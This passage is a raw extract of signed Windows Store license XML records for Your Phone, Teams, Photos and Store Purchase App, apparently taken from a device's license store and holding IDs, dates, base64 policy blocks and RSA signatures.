AAACLGAKnmmQkNPyv8MOL0VjvOAAAARAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeQBvAHUAcgBwAGgAbwBuAGUAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAIBm5maHAxJnzLpzBG8flOVmlkGA+FL81/HMSNcWLhCi0wAAAAQAAABO1KppzAAAAEQAAAABAAIAvS+iAY9B6PgqGfZAXH6af65RoxS9zqwGXY1vzNxOqa2yzl5QJ2cgFPzFJq7ARTIznqsy5UcISHMb1bhlQEZpug==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>sKOP9x5AHUUOoewKFoNwhlKpN8uOGToU1QFrzB6zzmA=</DigestValue></Reference></SignedInfo><SignatureValue>e3bAb8le1bBHOpSxSsBWAvIN9566Sm7eC12NZCPsZx7X7c2wXJxvreCur5igC6jYLYKLCzjE0WwUD9ScFGjAPz+hVpyZt1tGaFxrP6gOWoNsSSegl+iljcF0XYKwjr+jD1I42wLhsjv46jCw1SEKR+T/s9jhMacHmbhzyM5LgKYYP8SCkLta+chJu/lyaiCNhLwUNc+DwV9ckPe2hV+svxTNiiAT5ZAk1ykGbO+OMBkAXgnJ9VMF6jXMB6kH4f2WFv04VRygj7xp0k2Q9zf1MH0q7FWSsdesqlEs6EuA7BbRFliokK648Ne7b1NXyd06GaVTSSohoIkAgzAh929kPg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="d3275a3c-4c03-4103-a382-4ef99181089b" LicenseID="0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84" ContentID="eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NMPJ99VJBWV</ProductID><PFM>microsoft.yourphone_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T15:31:11.1744583Z</IssuedDate><LastUpdateDate>2026-02-20T15:31:11.1641743Z</LastUpdateDate><BeginDate>2026-02-20T15:31:11.1641737Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI2ZWFkNGE3Ny1kMDc2LTQ4NjYtOTE4OC02MjFhNWIxZjQxNGYifQ==</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAQA/fphpAwDLAAAAEAAAANUsjg/ruCJ6uembEYP6CoTOAAAARAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeQBvAHUAcgBwAGgAbwBuAGUAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAIBm5maHAxJnzLpzBG8flOVmlkGA+FL81/HMSNcWLhCiIAAAAAQAAAA/fphpzAAAAEQAAAABAAIANHX2+tSrJlaM0tq7cWFvD+EbVnfOroFuH6O6k7r9ewqTGG0pXey52g8QflSQXsckO8qKvK79U+F3Ekcd7ks1Cw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>x7OjKT3FYOOA8MgzmC5Z5AWsL24WqYb/7tqtxWrGNIQ=</DigestValue></Reference></SignedInfo><SignatureValue>UdQ+GJ7gVncM4fpOaDdJ9ZM8V13Ypl8Kb+vvhDJLpRbpQGnohP2xEkLN+eXDEWodyjrAYP7YpSlOcJD/FNiEHoTc4xGUCdNV1u8dmb1iq7sZhKIIvgPlpun8SehYFSgdk6dLZI25I/oeFXaMTNxyUDWZYj2fxagB+4bepyRurdWfPSHO+YVp3tSScCbI7r0D5NZbAhX03hUffJ7tnnLGJvGFRuqd3K2IWs7phT/F0wR9489sVPDNmbYA4meWrCePYcVKbpoHCFGunxONTftDWjWMxEbSsNHMoQ3xBfu4wvfwBvXS5JwAOY5vJHclKJL1JEhgemR17mX+G1McT9GV+g==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
3V<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="a2c17515-239c-4a25-b026-203670f49645" LicenseID="4f8719b6-6e5a-bf59-afaf-28c1beed5842" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.MicrosoftTeamsApp_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:24:12.4186199Z</IssuedDate><LastUpdateDate>2026-02-20T12:24:12.4075669Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiNDAzZmNjNTItOGNjMy00MDNmLWE2ZTUtNTU5ZGZhYjkyYWY2IiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODI1ODY0MTgxOTUyMDk3JmNvbnRlbnRJZD0wYmNmMjliYi1jYWRkLTU2ZmMtN2YxNS00Yjc5YmQwOGYxYTImZW50aXRsZW1lbnRJZD00MDNmY2M1Mi04Y2MzLTQwM2YtYTZlNS01NTlkZmFiOTJhZjYmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjE4ZjIwMzYzLWIyZmYtMGVmNy02NmE4LWRlNGFlYmFjNzBjNSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjBiY2YyOWJiLWNhZGQtNTZmYy03ZjE1LTRiNzliZDA4ZjFhMiIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TlNWMjJHVjhRNk4iLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTI6MjQ6MTIuNDA3MzM0OCswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAgBsUphpAADLAAAAEAAAALYZh09ablm/r68owb7tWELOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBpAGMAcgBvAHMAbwBmAHQAdABlAGEAbQBzAGEAcABwAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBvPe9nI5NsmKk6+pXS68NbCaq6jxRGGzGOWc6pqB9PLNMAAAAEAAAAbMeqacwAAABEAAAAAQACACXmPaE/D3ZixFhbqT+lV2nszu57IzIgwu6Je/RkpQn50KEFoZizrKnI4sA/aI8CRLc25PKKpOB8uzVZlJTcIpg=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>sdKiSfo8oXaNBa3PyicWijKQRn2iy+7U/bpGPg63zys=</DigestValue></Reference></SignedInfo><SignatureValue>KZPipvGUZqZDgS3/fA+em0aKINwuvVju2kC2hEH0NsJb+RI24iN70b0lBJz5Y1vSj1BRIUbZFrToz5fE1z3QDWK9BM48+z0r99JHF1jsVlvdWQiK37h9ohFEg9/C8kFmV9XAaPKiT1ZqZzugGzC36GKWYXbW1v4IigCmGq3KwhQTxRrzp1F/Eorc3eEhvQAa9SIKYvVpAGQ+sqNfpi1nzOZXzghlNU2lSzCTBnqTT/mn3vLvkTouImWLxl2lO/oYM9HS2uFkJUaBrl3wvpRU/5KSgBvsAdh8cx9x6xPXqGz4PtGi5cjoMGup5dwqy6A3d21xhSOF+SiFVh6BT7y3vQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
xD<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="dd95ec34-aea0-420d-90bc-95a30b42d9e5" LicenseID="18f20363-b2ff-0ef7-66a8-de4aebac70c5" ContentID="0bcf29bb-cadd-56fc-7f15-4b79bd08f1a2" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NSV22GV8Q6N</ProductID><PFM>microsoft.microsoftteamsapp_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:24:12.4182221Z</IssuedDate><LastUpdateDate>2026-02-20T12:24:12.4079901Z</LastUpdateDate><BeginDate>2026-02-20T12:24:12.4079895Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI3NTFlZmUxNS1jM2NmLTQ0MzktOWRjMS0zNDhkYjllNTQyNjUifQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAQBsUphpAwDLAAAAEAAAAGMD8hj/svcOZqjeSuuscMXOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBpAGMAcgBvAHMAbwBmAHQAdABlAGEAbQBzAGEAcABwAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBvPe9nI5NsmKk6+pXS68NbCaq6jxRGGzGOWc6pqB9PLCAAAAAEAAAAbFKYacwAAABEAAAAAQACAIeZs0QMDd/ac6PzRcLlM45M8R9b5hMV24gZ/6XMRJz0sCtBBFDZ3xWQ5A1YE2WJGwOU2MmKOkmQfwm9qUGABXs=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>OaO6JOj6WkQm7AV/QorTcVP7ETk5rON1unOzcZZdxrE=</DigestValue></Reference></SignedInfo><SignatureValue>cc/x/TTWp0JbTY0K7Nl6ls5ow/JFrJ+jsETA/s6dTqDq926IE5eerKh7XVd0T5iZLEFoIBdgQX7MjMD+4q3ABkHANg2HTG7nnb6JpshZKDsPxOluCDGWOhvE9F7eMOxWRA3fH14svt6dvbLehKDKq8+8oRxrvS94PviHoyvTdJJihg/0VQ06JK3PbyqQWvD9kp5X//aF23gwTRUZ48Cs3cUzG6Z5OeFVkZW7Jb4POsiEL8VYX3wp3XguwHu5vAvGKQ9ylvGZg15alVNbjAhq+91t/PrWly8IfS7fgJp3BjaqCsns7WZfbJZKb4Z20EzkTU9sHZEVfUI6w/Hpdt9mdw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="62ec026c-57c3-4709-a535-e8b6e42ebb4b" LicenseID="5a8f1109-bf4a-75be-68f4-353081f238e7" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.Windows.Photos_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T15:59:54.209327Z</IssuedDate><LastUpdateDate>2026-02-20T15:59:54.2042448Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD01NThmNWQzMi0wODI3LWViN2ItNmFkNi1kNWRiNDEzOGIzYWEmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZKQkg0JnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiMjE1Zjk3MTItOWZjYS1hM2Y4LTViMTEtNjYwZWVmYzczYjk2Il0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiNTU4ZjVkMzItMDgyNy1lYjdiLTZhZDYtZDVkYjQxMzhiM2FhIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSkJINCIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxNTo1OTo1NC4yMDM4NjA5KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAALYAAADJAAAACgAAAAUAAgD6hJhpAADLAAAAEAAAAAkRj1pKv751aPQ1MIHyOOfOAAAATgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwAuAHAAaABvAHQAbwBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQCBrbyEbEKhtFUeIwBnGkL9t8KuePnBnIr+YsutD7yQ+tMAAAAEAAAA+isPaswAAABEAAAAAQACAH4v6n/at/yRSJTdifHsYFeNROZb5A4eK4Gd5LPr5dcyVfgaw91X3ya2HbHRX7W4X7aHg+raQXLOoNjwtFQBYj8=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>EeWytKMcSOkF1i0zAy8va0f5bvvAhP6UmWtIfMqOxiU=</DigestValue></Reference></SignedInfo><SignatureValue>f1d6ECchKcV3kD9SGVnv32WGn+eUvC79oiyPMFIGT+GV8oFEGh/V50J/VMIrnLQ12rCrKF3i3vDKIfuygicN3vD2245VdhnF+Pguf8WTonvbIGhnatL+VkazqlVlKo77CX/OtFKD1sNAamADVMe0gDj/eo4E/It2QvcJ5iNkdT1blK+lZIezKUiQn55crsI5A1s/cRydgqzMPU36LXczVCMCNzO7OULdcpk0iub0AxiuYVy6KQFItI6yySSS9GETnOmz1JisuQbfa6SsLFsXCbVPCW7cvFAL8rIhreTX2QXfrydz2I8D63r0mtyu59wSznUdiYJsz9LWsZ7Z+O8pjw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="6b32c337-7f21-4cbc-b469-4bf13e95270b" LicenseID="215f9712-9fca-a3f8-5b11-660eefc73b96" ContentID="558f5d32-0827-eb7b-6ad6-d5db4138b3aa" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFJBH4</ProductID><PFM>microsoft.windows.photos_8wekyb3d8bbwe</PFM><LicenseInstanceID>82d44961-6224-42ce-9558-e1e37d4df299</LicenseInstanceID><RequestorID>2c3f1d47-426d-c7d7-face-ef1add208818</RequestorID><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>2026-02-20T15:59:54.2093076Z</IssuedDate><LastUpdateDate>2026-02-20T15:59:54.2046693Z</LastUpdateDate><BeginDate>2026-02-20T15:59:54.2046687Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI0NTRhNzU5Yi1mZjViLTRhNzktODBkMy0xY2YxNWViYTA5MDgifQ==</CustomPolicies><SPLicenseBlock>FAAAALYAAADJAAAACgAAAAUAAQD6hJhpAwDLAAAAEAAAABKXXyHKn/ijWxFmDu/HO5bOAAAATgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwAuAHAAaABvAHQAbwBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQCBrbyEbEKhtFUeIwBnGkL9t8KuePnBnIr+YsutD7yQ+iAAAAAEAAAA+oSYacwAAABEAAAAAQACAGQTUzRghVi0DndnPGMJAfrE7W+c+iNISiqRdW8DdF2aDE0Px/h6NI4aVbcNHXc1DwDAhQfuQVwT0kRxJKtO8IM=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>/G0AnTjOZuBTbWsmVi/q+Wfp5Ackr7A2k+eF3cA47BM=</DigestValue></Reference></SignedInfo><SignatureValue>m3j0/ZaQYl1JM0hsJ1TLg4xFcOfIMPN7MQvOL8BIGIaZwiwrCQyhDcFg8b5ztQoI5kaoAE/zZhf6bnPTp7tOF53Ksd1RBxXOrUl/FmXyHhdOEt9d3t+gEDH3dOvrQq3JmyEN71B00aFVBmcHiM8MiKwiUS6jplWgbc+mSM5N7CRUwIv5jm8F6VDkxRc5C0dtk4LCaaPnqTiIC556CEzmvklTgbMz+729LxoY4kcDdKnZidLUQiWYU+EgArsSqyPmW362DAghngwJMGB1/lYGRM3VeOKEBV1MryhH0d/yTNsL0LzTtQt7Gw1jt+YEJM3jF83PHGNp6p0tbYegWmfZxQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="507b36ca-ea14-4278-9897-559d409dc4ff" LicenseID="d90ad1eb-bec3-18c1-8c97-eef683ba6a1f" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.StorePurchaseApp_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:12:26.5012766Z</IssuedDate><LastUpdateDate>2026-02-20T12:12:26.4917678Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiMzk3YTE5OGYtMTljZS04N2QyLWY5Y2YtYjk0NGNlZGVmN2Q3IiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2NzU1NDE5NjY2OTM2OTQ0JmNvbnRlbnRJZD02MmI0OWMwYS00OTllLWEwMmQtZWJjYi1lYjE2OGUxNDhlNTImZW50aXRsZW1lbnRJZD0zOTdhMTk4Zi0xOWNlLTg3ZDItZjljZi1iOTQ0Y2VkZWY3ZDcmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjI4NTAyZDA2LTlkMjktODUxNC0xZTVkLTY0NDQ3MTE2ZDc5OCJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjYyYjQ5YzBhLTQ5OWUtYTAyZC1lYmNiLWViMTY4ZTE0OGU1MiIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TkJMR0dINExTMUYiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTI6MTI6MjYuNDkxNjA2NSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALoAAADJAAAACgAAAAUAAgCrT5hpAADLAAAAEAAAAOvRCtnDvsEYjJfu9oO6ah/OAAAAUgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcwB0AG8AcgBlAHAAdQByAGMAaABhAHMAZQBhAHAAcABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAMPDiheq+DxYSDJaaOq7obPBL5IlMNiWK7M2dpI865e/TAAAABAAAAKvEqmnMAAAARAAAAAEAAgDyoxq2/3uyJG1EemGAfNBghhpF1rPKDwT0rgDeJN6QIGt0agYiJpywZDW2q7aQmrm7FzlsKwVYEpDwr6i2ssiL</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>qkE5nSF/L6Yv570GbdCZ7Qt2LfTqP/zmom/xPTsXXKU=</DigestValue></Reference></SignedInfo><SignatureValue>HoRKTjKyBXBiyvoeHQJNSK+bcMVH30ejtbix/WpYQEL/AEMTXw9pDGLI26hNt9dUuuOekO3I0LxvRpSn/pBFF4bI2frKVMf4WQy3MnMt3DLIOWY+36O9JBUE/wzlcqYe/XAheb+UlFnluxsssmVuSip0SZj5ymrPEon9V5lHyvdhiiVAa69Im6tBD8NqtMqOGYlr1KG16396+Fy0cxdS98PdMp5mwGQmpDl6pX0ycqFY1wiSWceLwUOLUmaDdQrYW4kfmHryRr8pNd8htSVLsweDn5Fx98n6MuDNQCtoMyYsVa3+i3hgDSOBa1sM4xMaGxD9HCtX/z6b8+T0og2vIg==</SignatureValue><KeyInfo 